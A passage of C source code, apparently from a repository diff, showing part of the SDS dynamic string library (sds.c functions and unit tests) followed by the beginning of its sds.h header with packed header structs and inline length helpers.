return sdsHdrSize(s[-1])+alloc+1;
}
/* Return the pointer of the actual SDS allocation (normally SDS strings
* are referenced by the start of the string buffer). */
void *sdsAllocPtr(sds s) {
return (void*) (s-sdsHdrSize(s[-1]));
}
/* Increment the sds length and decrements the left free space at the
* end of the string according to 'incr'. Also set the null term
* in the new end of the string.
*
* This function is used in order to fix the string length after the
* user calls sdsMakeRoomFor(), writes something after the end of
* the current string, and finally needs to set the new length.
*
* Note: it is possible to use a negative increment in order to
* right-trim the string.
*
* Usage example:
*
* Using sdsIncrLen() and sdsMakeRoomFor() it is possible to mount the
* following schema, to cat bytes coming from the kernel to the end of an
* sds string without copying into an intermediate buffer:
*
* oldlen = sdslen(s);
* s = sdsMakeRoomFor(s, BUFFER_SIZE);
* nread = read(fd, s+oldlen, BUFFER_SIZE);
* ... check for nread <= 0 and handle it ...
* sdsIncrLen(s, nread);
*/
void sdsIncrLen(sds s, int incr) {
unsigned char flags = s[-1];
size_t len;
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5: {
unsigned char *fp = ((unsigned char*)s)-1;
unsigned char oldlen = SDS_TYPE_5_LEN(flags);
assert((incr > 0 && oldlen+incr < 32) || (incr < 0 && oldlen >= (unsigned int)(-incr)));
*fp = SDS_TYPE_5 | ((oldlen+incr) << SDS_TYPE_BITS);
len = oldlen+incr;
break;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
assert((incr >= 0 && sh->alloc-sh->len >= (unsigned int)incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
assert((incr >= 0 && sh->alloc-sh->len >= (uint64_t)incr) || (incr < 0 && sh->len >= (uint64_t)(-incr)));
len = (sh->len += incr);
break;
}
default: len = 0; /* Just to avoid compilation warnings. */
}
s[len] = '\0';
}
/* Grow the sds to have the specified length. Bytes that were not part of
* the original length of the sds will be set to zero.
*
* if the specified length is smaller than the current length, no operation
* is performed. */
sds sdsgrowzero(sds s, size_t len) {
size_t curlen = sdslen(s);
if (len <= curlen) return s;
s = sdsMakeRoomFor(s,len-curlen);
if (s == NULL) return NULL;
/* Make sure added region doesn't contain garbage */
memset(s+curlen,0,(len-curlen+1)); /* also set trailing \0 byte */
sdssetlen(s, len);
return s;
}
/* Append the specified binary-safe string pointed by 't' of 'len' bytes to the
* end of the specified sds string 's'.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatlen(sds s, const void *t, size_t len) {
size_t curlen = sdslen(s);
s = sdsMakeRoomFor(s,len);
if (s == NULL) return NULL;
memcpy(s+curlen, t, len);
sdssetlen(s, curlen+len);
s[curlen+len] = '\0';
return s;
}
/* Append the specified null termianted C string to the sds string 's'.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscat(sds s, const char *t) {
return sdscatlen(s, t, strlen(t));
}
/* Append the specified sds 't' to the existing sds 's'.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatsds(sds s, const sds t) {
return sdscatlen(s, t, sdslen(t));
}
/* Destructively modify the sds string 's' to hold the specified binary
* safe string pointed by 't' of length 'len' bytes. */
sds sdscpylen(sds s, const char *t, size_t len) {
if (sdsalloc(s) < len) {
s = sdsMakeRoomFor(s,len-sdslen(s));
if (s == NULL) return NULL;
}
memcpy(s, t, len);
s[len] = '\0';
sdssetlen(s, len);
return s;
}
/* Like sdscpylen() but 't' must be a null-termined string so that the length
* of the string is obtained with strlen(). */
sds sdscpy(sds s, const char *t) {
return sdscpylen(s, t, strlen(t));
}
/* Helper for sdscatlonglong() doing the actual number -> string
* conversion. 's' must point to a string with room for at least
* SDS_LLSTR_SIZE bytes.
*
* The function returns the length of the null-terminated string
* representation stored at 's'. */
#define SDS_LLSTR_SIZE 21
int sdsll2str(char *s, long long value) {
char *p, aux;
unsigned long long v;
size_t l;
/* Generate the string representation, this method produces
* an reversed string. */
v = (value < 0) ? -value : value;
p = s;
do {
*p++ = '0'+(v%10);
v /= 10;
} while(v);
if (value < 0) *p++ = '-';
/* Compute length and add null term. */
l = p-s;
*p = '\0';
/* Reverse the string. */
p--;
while(s < p) {
aux = *s;
*s = *p;
*p = aux;
s++;
p--;
}
return l;
}
/* Identical sdsll2str(), but for unsigned long long type. */
int sdsull2str(char *s, unsigned long long v) {
char *p, aux;
size_t l;
/* Generate the string representation, this method produces
* an reversed string. */
p = s;
do {
*p++ = '0'+(v%10);
v /= 10;
} while(v);
/* Compute length and add null term. */
l = p-s;
*p = '\0';
/* Reverse the string. */
p--;
while(s < p) {
aux = *s;
*s = *p;
*p = aux;
s++;
p--;
}
return l;
}
/* Create an sds string from a long long value. It is much faster than:
*
* sdscatprintf(sdsempty(),"%lld\n", value);
*/
sds sdsfromlonglong(long long value) {
char buf[SDS_LLSTR_SIZE];
int len = sdsll2str(buf,value);
return sdsnewlen(buf,len);
}
/* Like sdscatprintf() but gets va_list instead of being variadic. */
sds sdscatvprintf(sds s, const char *fmt, va_list ap) {
va_list cpy;
char staticbuf[1024], *buf = staticbuf, *t;
size_t buflen = strlen(fmt)*2;
/* We try to start using a static buffer for speed.
* If not possible we revert to heap allocation. */
if (buflen > sizeof(staticbuf)) {
buf = s_malloc(buflen);
if (buf == NULL) return NULL;
} else {
buflen = sizeof(staticbuf);
}
/* Try with buffers two times bigger every time we fail to
* fit the string in the current buffer size. */
while(1) {
buf[buflen-2] = '\0';
va_copy(cpy,ap);
vsnprintf(buf, buflen, fmt, cpy);
va_end(cpy);
if (buf[buflen-2] != '\0') {
if (buf != staticbuf) s_free(buf);
buflen *= 2;
buf = s_malloc(buflen);
if (buf == NULL) return NULL;
continue;
}
break;
}
/* Finally concat the obtained string to the SDS string and return it. */
t = sdscat(s, buf);
if (buf != staticbuf) s_free(buf);
return t;
}
/* Append to the sds string 's' a string obtained using printf-alike format
* specifier.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call.
*
* Example:
*
* s = sdsnew("Sum is: ");
* s = sdscatprintf(s,"%d+%d = %d",a,b,a+b).
*
* Often you need to create a string from scratch with the printf-alike
* format. When this is the need, just use sdsempty() as the target string:
*
* s = sdscatprintf(sdsempty(), "... your format ...", args);
*/
sds sdscatprintf(sds s, const char *fmt, ...) {
va_list ap;
char *t;
va_start(ap, fmt);
t = sdscatvprintf(s,fmt,ap);
va_end(ap);
return t;
}
/* This function is similar to sdscatprintf, but much faster as it does
* not rely on sprintf() family functions implemented by the libc that
* are often very slow. Moreover directly handling the sds string as
* new data is concatenated provides a performance improvement.
*
* However this function only handles an incompatible subset of printf-alike
* format specifiers:
*
* %s - C String
* %S - SDS string
* %i - signed int
* %I - 64 bit signed integer (long long, int64_t)
* %u - unsigned int
* %U - 64 bit unsigned integer (unsigned long long, uint64_t)
* %% - Verbatim "%" character.
*/
sds sdscatfmt(sds s, char const *fmt, ...) {
size_t initlen = sdslen(s);
const char *f = fmt;
int i;
va_list ap;
va_start(ap,fmt);
f = fmt; /* Next format specifier byte to process. */
i = initlen; /* Position of the next byte to write to dest str. */
while(*f) {
char next, *str;
size_t l;
long long num;
unsigned long long unum;
/* Make sure there is always space for at least 1 char. */
if (sdsavail(s)==0) {
s = sdsMakeRoomFor(s,1);
}
switch(*f) {
case '%':
next = *(f+1);
f++;
switch(next) {
case 's':
case 'S':
str = va_arg(ap,char*);
l = (next == 's') ? strlen(str) : sdslen(str);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,str,l);
sdsinclen(s,l);
i += l;
break;
case 'i':
case 'I':
if (next == 'i')
num = va_arg(ap,int);
else
num = va_arg(ap,long long);
{
char buf[SDS_LLSTR_SIZE];
l = sdsll2str(buf,num);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,buf,l);
sdsinclen(s,l);
i += l;
}
break;
case 'u':
case 'U':
if (next == 'u')
unum = va_arg(ap,unsigned int);
else
unum = va_arg(ap,unsigned long long);
{
char buf[SDS_LLSTR_SIZE];
l = sdsull2str(buf,unum);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,buf,l);
sdsinclen(s,l);
i += l;
}
break;
default: /* Handle %% and generally %<unknown>. */
s[i++] = next;
sdsinclen(s,1);
break;
}
break;
default:
s[i++] = *f;
sdsinclen(s,1);
break;
}
f++;
}
va_end(ap);
/* Add null-term */
s[i] = '\0';
return s;
}
/* Remove the part of the string from left and from right composed just of
* contiguous characters found in 'cset', that is a null terminted C string.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call.
*
* Example:
*
* s = sdsnew("AA...AA.a.aa.aHelloWorld :::");
* s = sdstrim(s,"Aa. :");
* printf("%s\n", s);
*
* Output will be just "Hello World".
*/
sds sdstrim(sds s, const char *cset) {
char *start, *end, *sp, *ep;
size_t len;
sp = start = s;
ep = end = s+sdslen(s)-1;
while(sp <= end && strchr(cset, *sp)) sp++;
while(ep > sp && strchr(cset, *ep)) ep--;
len = (sp > ep) ? 0 : ((ep-sp)+1);
if (s != sp) memmove(s, sp, len);
s[len] = '\0';
sdssetlen(s,len);
return s;
}
/* Turn the string into a smaller (or equal) string containing only the
* substring specified by the 'start' and 'end' indexes.
*
* start and end can be negative, where -1 means the last character of the
* string, -2 the penultimate character, and so forth.
*
* The interval is inclusive, so the start and end characters will be part
* of the resulting string.
*
* The string is modified in-place.
*
* Example:
*
* s = sdsnew("Hello World");
* sdsrange(s,1,-1); => "ello World"
*/
void sdsrange(sds s, int start, int end) {
size_t newlen, len = sdslen(s);
if (len == 0) return;
if (start < 0) {
start = len+start;
if (start < 0) start = 0;
}
if (end < 0) {
end = len+end;
if (end < 0) end = 0;
}
newlen = (start > end) ? 0 : (end-start)+1;
if (newlen != 0) {
if (start >= (signed)len) {
newlen = 0;
} else if (end >= (signed)len) {
end = len-1;
newlen = (start > end) ? 0 : (end-start)+1;
}
} else {
start = 0;
}
if (start && newlen) memmove(s, s+start, newlen);
s[newlen] = 0;
sdssetlen(s,newlen);
}
/* Apply tolower() to every character of the sds string 's'. */
void sdstolower(sds s) {
int len = sdslen(s), j;
for (j = 0; j < len; j++) s[j] = tolower(s[j]);
}
/* Apply toupper() to every character of the sds string 's'. */
void sdstoupper(sds s) {
int len = sdslen(s), j;
for (j = 0; j < len; j++) s[j] = toupper(s[j]);
}
/* Compare two sds strings s1 and s2 with memcmp().
*
* Return value:
*
* positive if s1 > s2.
* negative if s1 < s2.
* 0 if s1 and s2 are exactly the same binary string.
*
* If two strings share exactly the same prefix, but one of the two has
* additional characters, the longer string is considered to be greater than
* the smaller one. */
int sdscmp(const sds s1, const sds s2) {
size_t l1, l2, minlen;
int cmp;
l1 = sdslen(s1);
l2 = sdslen(s2);
minlen = (l1 < l2) ? l1 : l2;
cmp = memcmp(s1,s2,minlen);
if (cmp == 0) return l1-l2;
return cmp;
}
/* Split 's' with separator in 'sep'. An array
* of sds strings is returned. *count will be set
* by reference to the number of tokens returned.
*
* On out of memory, zero length string, zero length
* separator, NULL is returned.
*
* Note that 'sep' is able to split a string using
* a multi-character separator. For example
* sdssplit("foo_-_bar","_-_"); will return two
* elements "foo" and "bar".
*
* This version of the function is binary-safe but
* requires length arguments. sdssplit() is just the
* same function but for zero-terminated strings.
*/
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count) {
int elements = 0, slots = 5, start = 0, j;
sds *tokens;
if (seplen < 1 || len < 0) return NULL;
tokens = s_malloc(sizeof(sds)*slots);
if (tokens == NULL) return NULL;
if (len == 0) {
*count = 0;
return tokens;
}
for (j = 0; j < (len-(seplen-1)); j++) {
/* make sure there is room for the next element and the final one */
if (slots < elements+2) {
sds *newtokens;
slots *= 2;
newtokens = s_realloc(tokens,sizeof(sds)*slots);
if (newtokens == NULL) goto cleanup;
tokens = newtokens;
}
/* search the separator */
if ((seplen == 1 && *(s+j) == sep[0]) || (memcmp(s+j,sep,seplen) == 0)) {
tokens[elements] = sdsnewlen(s+start,j-start);
if (tokens[elements] == NULL) goto cleanup;
elements++;
start = j+seplen;
j = j+seplen-1; /* skip the separator */
}
}
/* Add the final element. We are sure there is room in the tokens array. */
tokens[elements] = sdsnewlen(s+start,len-start);
if (tokens[elements] == NULL) goto cleanup;
elements++;
*count = elements;
return tokens;
cleanup:
{
int i;
for (i = 0; i < elements; i++) sdsfree(tokens[i]);
s_free(tokens);
*count = 0;
return NULL;
}
}
/* Free the result returned by sdssplitlen(), or do nothing if 'tokens' is NULL. */
void sdsfreesplitres(sds *tokens, int count) {
if (!tokens) return;
while(count--)
sdsfree(tokens[count]);
s_free(tokens);
}
/* Append to the sds string "s" an escaped string representation where
* all the non-printable characters (tested with isprint()) are turned into
* escapes in the form "\n\r\a...." or "\x<hex-number>".
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatrepr(sds s, const char *p, size_t len) {
s = sdscatlen(s,"\"",1);
while(len--) {
switch(*p) {
case '\\':
case '"':
s = sdscatprintf(s,"\\%c",*p);
break;
case '\n': s = sdscatlen(s,"\\n",2); break;
case '\r': s = sdscatlen(s,"\\r",2); break;
case '\t': s = sdscatlen(s,"\\t",2); break;
case '\a': s = sdscatlen(s,"\\a",2); break;
case '\b': s = sdscatlen(s,"\\b",2); break;
default:
if (isprint(*p))
s = sdscatprintf(s,"%c",*p);
else
s = sdscatprintf(s,"\\x%02x",(unsigned char)*p);
break;
}
p++;
}
return sdscatlen(s,"\"",1);
}
/* Helper function for sdssplitargs() that returns non zero if 'c'
* is a valid hex digit. */
int is_hex_digit(char c) {
return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') ||
(c >= 'A' && c <= 'F');
}
/* Helper function for sdssplitargs() that converts a hex digit into an
* integer from 0 to 15 */
int hex_digit_to_int(char c) {
switch(c) {
case '0': return 0;
case '1': return 1;
case '2': return 2;
case '3': return 3;
case '4': return 4;
case '5': return 5;
case '6': return 6;
case '7': return 7;
case '8': return 8;
case '9': return 9;
case 'a': case 'A': return 10;
case 'b': case 'B': return 11;
case 'c': case 'C': return 12;
case 'd': case 'D': return 13;
case 'e': case 'E': return 14;
case 'f': case 'F': return 15;
default: return 0;
}
}
/* Split a line into arguments, where every argument can be in the
* following programming-language REPL-alike form:
*
* foo bar "newline are supported\n" and "\xff\x00otherstuff"
*
* The number of arguments is stored into *argc, and an array
* of sds is returned.
*
* The caller should free the resulting array of sds strings with
* sdsfreesplitres().
*
* Note that sdscatrepr() is able to convert back a string into
* a quoted string in the same format sdssplitargs() is able to parse.
*
* The function returns the allocated tokens on success, even when the
* input string is empty, or NULL if the input contains unbalanced
* quotes or closed quotes followed by non space characters
* as in: "foo"bar or "foo'
*/
sds *sdssplitargs(const char *line, int *argc) {
const char *p = line;
char *current = NULL;
char **vector = NULL;
*argc = 0;
while(1) {
/* skip blanks */
while(*p && isspace(*p)) p++;
if (*p) {
/* get a token */
int inq=0; /* set to 1 if we are in "quotes" */
int insq=0; /* set to 1 if we are in 'single quotes' */
int done=0;
if (current == NULL) current = sdsempty();
while(!done) {
if (inq) {
if (*p == '\\' && *(p+1) == 'x' &&
is_hex_digit(*(p+2)) &&
is_hex_digit(*(p+3)))
{
unsigned char byte;
byte = (hex_digit_to_int(*(p+2))*16)+
hex_digit_to_int(*(p+3));
current = sdscatlen(current,(char*)&byte,1);
p += 3;
} else if (*p == '\\' && *(p+1)) {
char c;
p++;
switch(*p) {
case 'n': c = '\n'; break;
case 'r': c = '\r'; break;
case 't': c = '\t'; break;
case 'b': c = '\b'; break;
case 'a': c = '\a'; break;
default: c = *p; break;
}
current = sdscatlen(current,&c,1);
} else if (*p == '"') {
/* closing quote must be followed by a space or
* nothing at all. */
if (*(p+1) && !isspace(*(p+1))) goto err;
done=1;
} else if (!*p) {
/* unterminated quotes */
goto err;
} else {
current = sdscatlen(current,p,1);
}
} else if (insq) {
if (*p == '\\' && *(p+1) == '\'') {
p++;
current = sdscatlen(current,"'",1);
} else if (*p == '\'') {
/* closing quote must be followed by a space or
* nothing at all. */
if (*(p+1) && !isspace(*(p+1))) goto err;
done=1;
} else if (!*p) {
/* unterminated quotes */
goto err;
} else {
current = sdscatlen(current,p,1);
}
} else {
switch(*p) {
case ' ':
case '\n':
case '\r':
case '\t':
case '\0':
done=1;
break;
case '"':
inq=1;
break;
case '\'':
insq=1;
break;
default:
current = sdscatlen(current,p,1);
break;
}
}
if (*p) p++;
}
/* add the token to the vector */
vector = s_realloc(vector,((*argc)+1)*sizeof(char*));
vector[*argc] = current;
(*argc)++;
current = NULL;
} else {
/* Even on empty input string return something not NULL. */
if (vector == NULL) vector = s_malloc(sizeof(void*));
return vector;
}
}
err:
while((*argc)--)
sdsfree(vector[*argc]);
s_free(vector);
if (current) sdsfree(current);
*argc = 0;
return NULL;
}
/* Modify the string substituting all the occurrences of the set of
* characters specified in the 'from' string to the corresponding character
* in the 'to' array.
*
* For instance: sdsmapchars(mystring, "ho", "01", 2)
* will have the effect of turning the string "hello" into "0ell1".
*
* The function returns the sds string pointer, that is always the same
* as the input pointer since no resize is needed. */
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen) {
size_t j, i, l = sdslen(s);
for (j = 0; j < l; j++) {
for (i = 0; i < setlen; i++) {
if (s[j] == from[i]) {
s[j] = to[i];
break;
}
}
}
return s;
}
/* Join an array of C strings using the specified separator (also a C string).
* Returns the result as an sds string. */
sds sdsjoin(char **argv, int argc, char *sep) {
sds join = sdsempty();
int j;
for (j = 0; j < argc; j++) {
join = sdscat(join, argv[j]);
if (j != argc-1) join = sdscat(join,sep);
}
return join;
}
/* Like sdsjoin, but joins an array of SDS strings. */
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen) {
sds join = sdsempty();
int j;
for (j = 0; j < argc; j++) {
join = sdscatsds(join, argv[j]);
if (j != argc-1) join = sdscatlen(join,sep,seplen);
}
return join;
}
/* Wrappers to the allocators used by SDS. Note that SDS will actually
* just use the macros defined into sdsalloc.h in order to avoid to pay
* the overhead of function calls. Here we define these wrappers only for
* the programs SDS is linked to, if they want to touch the SDS internals
* even if they use a different allocator. */
void *sds_malloc(size_t size) { return s_malloc(size); }
void *sds_realloc(void *ptr, size_t size) { return s_realloc(ptr,size); }
void sds_free(void *ptr) { s_free(ptr); }
#if defined(SDS_TEST_MAIN)
#include <stdio.h>
#include "testhelp.h"
#include "limits.h"
#define UNUSED(x) (void)(x)
int sdsTest(void) {
{
sds x = sdsnew("foo"), y;
test_cond("Create a string and obtain the length",
sdslen(x) == 3 && memcmp(x,"foo\0",4) == 0)
sdsfree(x);
x = sdsnewlen("foo",2);
test_cond("Create a string with specified length",
sdslen(x) == 2 && memcmp(x,"fo\0",3) == 0)
x = sdscat(x,"bar");
test_cond("Strings concatenation",
sdslen(x) == 5 && memcmp(x,"fobar\0",6) == 0);
x = sdscpy(x,"a");
test_cond("sdscpy() against an originally longer string",
sdslen(x) == 1 && memcmp(x,"a\0",2) == 0)
x = sdscpy(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk");
test_cond("sdscpy() against an originally shorter string",
sdslen(x) == 33 &&
memcmp(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk\0",33) == 0)
sdsfree(x);
x = sdscatprintf(sdsempty(),"%d",123);
test_cond("sdscatprintf() seems working in the base case",
sdslen(x) == 3 && memcmp(x,"123\0",4) == 0)
sdsfree(x);
x = sdsnew("--");
x = sdscatfmt(x, "Hello %s World %I,%I--", "Hi!", LLONG_MIN,LLONG_MAX);
test_cond("sdscatfmt() seems working in the base case",
sdslen(x) == 60 &&
memcmp(x,"--Hello Hi! World -9223372036854775808,"
"9223372036854775807--",60) == 0)
printf("[%s]\n",x);
sdsfree(x);
x = sdsnew("--");
x = sdscatfmt(x, "%u,%U--", UINT_MAX, ULLONG_MAX);
test_cond("sdscatfmt() seems working with unsigned numbers",
sdslen(x) == 35 &&
memcmp(x,"--4294967295,18446744073709551615--",35) == 0)
sdsfree(x);
x = sdsnew(" x ");
sdstrim(x," x");
test_cond("sdstrim() works when all chars match",
sdslen(x) == 0)
sdsfree(x);
x = sdsnew(" x ");
sdstrim(x," ");
test_cond("sdstrim() works when a single char remains",
sdslen(x) == 1 && x[0] == 'x')
sdsfree(x);
x = sdsnew("xxciaoyyy");
sdstrim(x,"xy");
test_cond("sdstrim() correctly trims characters",
sdslen(x) == 4 && memcmp(x,"ciao\0",5) == 0)
y = sdsdup(x);
sdsrange(y,1,1);
test_cond("sdsrange(...,1,1)",
sdslen(y) == 1 && memcmp(y,"i\0",2) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,1,-1);
test_cond("sdsrange(...,1,-1)",
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,-2,-1);
test_cond("sdsrange(...,-2,-1)",
sdslen(y) == 2 && memcmp(y,"ao\0",3) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,2,1);
test_cond("sdsrange(...,2,1)",
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,1,100);
test_cond("sdsrange(...,1,100)",
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,100,100);
test_cond("sdsrange(...,100,100)",
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("foo");
y = sdsnew("foa");
test_cond("sdscmp(foo,foa)", sdscmp(x,y) > 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("bar");
y = sdsnew("bar");
test_cond("sdscmp(bar,bar)", sdscmp(x,y) == 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("aar");
y = sdsnew("bar");
test_cond("sdscmp(bar,bar)", sdscmp(x,y) < 0)
sdsfree(y);
sdsfree(x);
x = sdsnewlen("\a\n\0foo\r",7);
y = sdscatrepr(sdsempty(),x,sdslen(x));
test_cond("sdscatrepr(...data...)",
memcmp(y,"\"\\a\\n\\x00foo\\r\"",15) == 0)
{
unsigned int oldfree;
char *p;
int step = 10, j, i;
sdsfree(x);
sdsfree(y);
x = sdsnew("0");
test_cond("sdsnew() free/len buffers", sdslen(x) == 1 && sdsavail(x) == 0);
/* Run the test a few times in order to hit the first two
* SDS header types. */
for (i = 0; i < 10; i++) {
int oldlen = sdslen(x);
x = sdsMakeRoomFor(x,step);
int type = x[-1]&SDS_TYPE_MASK;
test_cond("sdsMakeRoomFor() len", sdslen(x) == oldlen);
if (type != SDS_TYPE_5) {
test_cond("sdsMakeRoomFor() free", sdsavail(x) >= step);
oldfree = sdsavail(x);
}
p = x+oldlen;
for (j = 0; j < step; j++) {
p[j] = 'A'+j;
}
sdsIncrLen(x,step);
}
test_cond("sdsMakeRoomFor() content",
memcmp("0ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJ",x,101) == 0);
test_cond("sdsMakeRoomFor() final length",sdslen(x)==101);
sdsfree(x);
}
}
test_report()
return 0;
}
#endif
#ifdef SDS_TEST_MAIN
int main(void) {
return sdsTest();
}
#endif
+273
View File
@@ -0,0 +1,273 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Oran Agra
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __SDS_H
#define __SDS_H
#define SDS_MAX_PREALLOC (1024*1024)
#include <sys/types.h>
#include <stdarg.h>
#include <stdint.h>
typedef char *sds;
/* Note: sdshdr5 is never used, we just access the flags byte directly.
* However is here to document the layout of type 5 SDS strings. */
struct __attribute__ ((__packed__)) sdshdr5 {
unsigned char flags; /* 3 lsb of type, and 5 msb of string length */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr8 {
uint8_t len; /* used */
uint8_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr16 {
uint16_t len; /* used */
uint16_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr32 {
uint32_t len; /* used */
uint32_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr64 {
uint64_t len; /* used */
uint64_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
#define SDS_TYPE_5 0
#define SDS_TYPE_8 1
#define SDS_TYPE_16 2
#define SDS_TYPE_32 3
#define SDS_TYPE_64 4
#define SDS_TYPE_MASK 7
#define SDS_TYPE_BITS 3
#define SDS_HDR_VAR(T,s) struct sdshdr##T *sh = (void*)((s)-(sizeof(struct sdshdr##T)));
#define SDS_HDR(T,s) ((struct sdshdr##T *)((s)-(sizeof(struct sdshdr##T))))
#define SDS_TYPE_5_LEN(f) ((f)>>SDS_TYPE_BITS)
static inline size_t sdslen(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->len;
case SDS_TYPE_16:
return SDS_HDR(16,s)->len;
case SDS_TYPE_32:
return SDS_HDR(32,s)->len;
case SDS_TYPE_64:
return SDS_HDR(64,s)->len;
}
return 0;
}
static inline size_t sdsavail(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5: {
return 0;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
return sh->alloc - sh->len;
}
}
return 0;
}
static inline void sdssetlen(sds s, size_t newlen) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
{
unsigned char *fp = ((unsigned char*)s)-1;
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
}
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->len = newlen;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->len = newlen;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->len = newlen;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->len = newlen;
break;
}
}
static inline void sdsinclen(sds s, size_t inc) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
{
unsigned char *fp = ((unsigned char*)s)-1;
unsigned char newlen = SDS_TYPE_5_LEN(flags)+inc;
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
}
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->len += inc;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->len += inc;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->len += inc;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->len += inc;
break;
}
}
/* sdsalloc() = sdsavail() + sdslen() */
static inline size_t sdsalloc(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->alloc;
case SDS_TYPE_16:
